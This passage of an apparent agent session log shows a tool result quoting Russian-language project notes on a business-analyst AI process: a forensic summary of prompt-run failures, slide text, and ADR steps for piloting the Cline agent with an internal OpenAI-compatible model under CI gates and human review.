\"5164c1ce-a710-4c87-bbf1-b76c3808ce77\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:26.030Z\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:26.039Z] [INFO]     \"stdout\": \"## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n----\\n  \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0432 \u0441\u0440\u0435\u0434\u0435: \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a\\n  \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438.\\n- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n  \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- \u0421\u0440\u0435\u0437 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441: \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 `security` \u0438\\n  `hardware`, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u0441\u0440\u0435\u0437\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n- \u041f\u043e\u0440\u043e\u0433\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u0431\u0440\u0430\u043d\u044b \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u043e\u0435 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0443 \u043f\u043e\u0441\u043b\u0435\\n----\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n----\\n28:\u041d\u0443\u0436\u0435\u043d \u043e\u0434\u0438\u043d OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442 \u0434\u043b\u044f \u0411\u0410 \u043e\u0442 junior \u0434\u043e expert \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e AI Core \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c BCREQ. [\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f AI Core](https://github.com/user-attachments/files/32652321/default.txt) \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 OpenAI-compatible `/chat/completions`, `tool calls`, \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 ID `gpu-default` \u0438 `gpu-deep`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438 HTTP endpoint, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **API \u043c\u043e\u0434\u0435\u043b\u0438**. \u041e\u043d\u0430 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Jira/Confluence, \u0438\u0445 URL, transport, tool names \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a Mango AI API \u0441\u0430\u043c\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence\u00bb \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u044d\u0442\u0438\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n30:[\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Cline](https://github.com/cline/cline/blob/main/docs/provider-config/openai-compatible.mdx) \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 `OpenAI Compatible`: Base URL, API Key, Model ID, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 output. [Cline](https://github.com/cline/cline/blob/main/README.md) \u0443\u043c\u0435\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c/\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 VS Code \u0441 \u043f\u043e\u043a\u0430\u0437\u043e\u043c diff \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. [\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f MCP](https://github.com/cline/cline/blob/main/docs/mcp/mcp-overview.mdx) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 tools. \u041d\u043e [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432](https://github.com/cline/cline/blob/main/docs/tools-reference/all-cline-tools.mdx) \u043f\u0440\u044f\u043c\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442: **\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442**, \u043a\u0430\u043a\u043e\u0439 tool \u0432\u044b\u0437\u0432\u0430\u0442\u044c. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `bash` \u0438 `tool calls` \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 Python-\u0433\u0435\u0439\u0442\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435.\\n47:2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n50:5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n----\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:42:\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0433\u0435\u0439\u0442\u0430.\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:43:- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:193:\u251c\u2500\u2500 runs/                          # \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:281:\u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:314:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043d\u0435 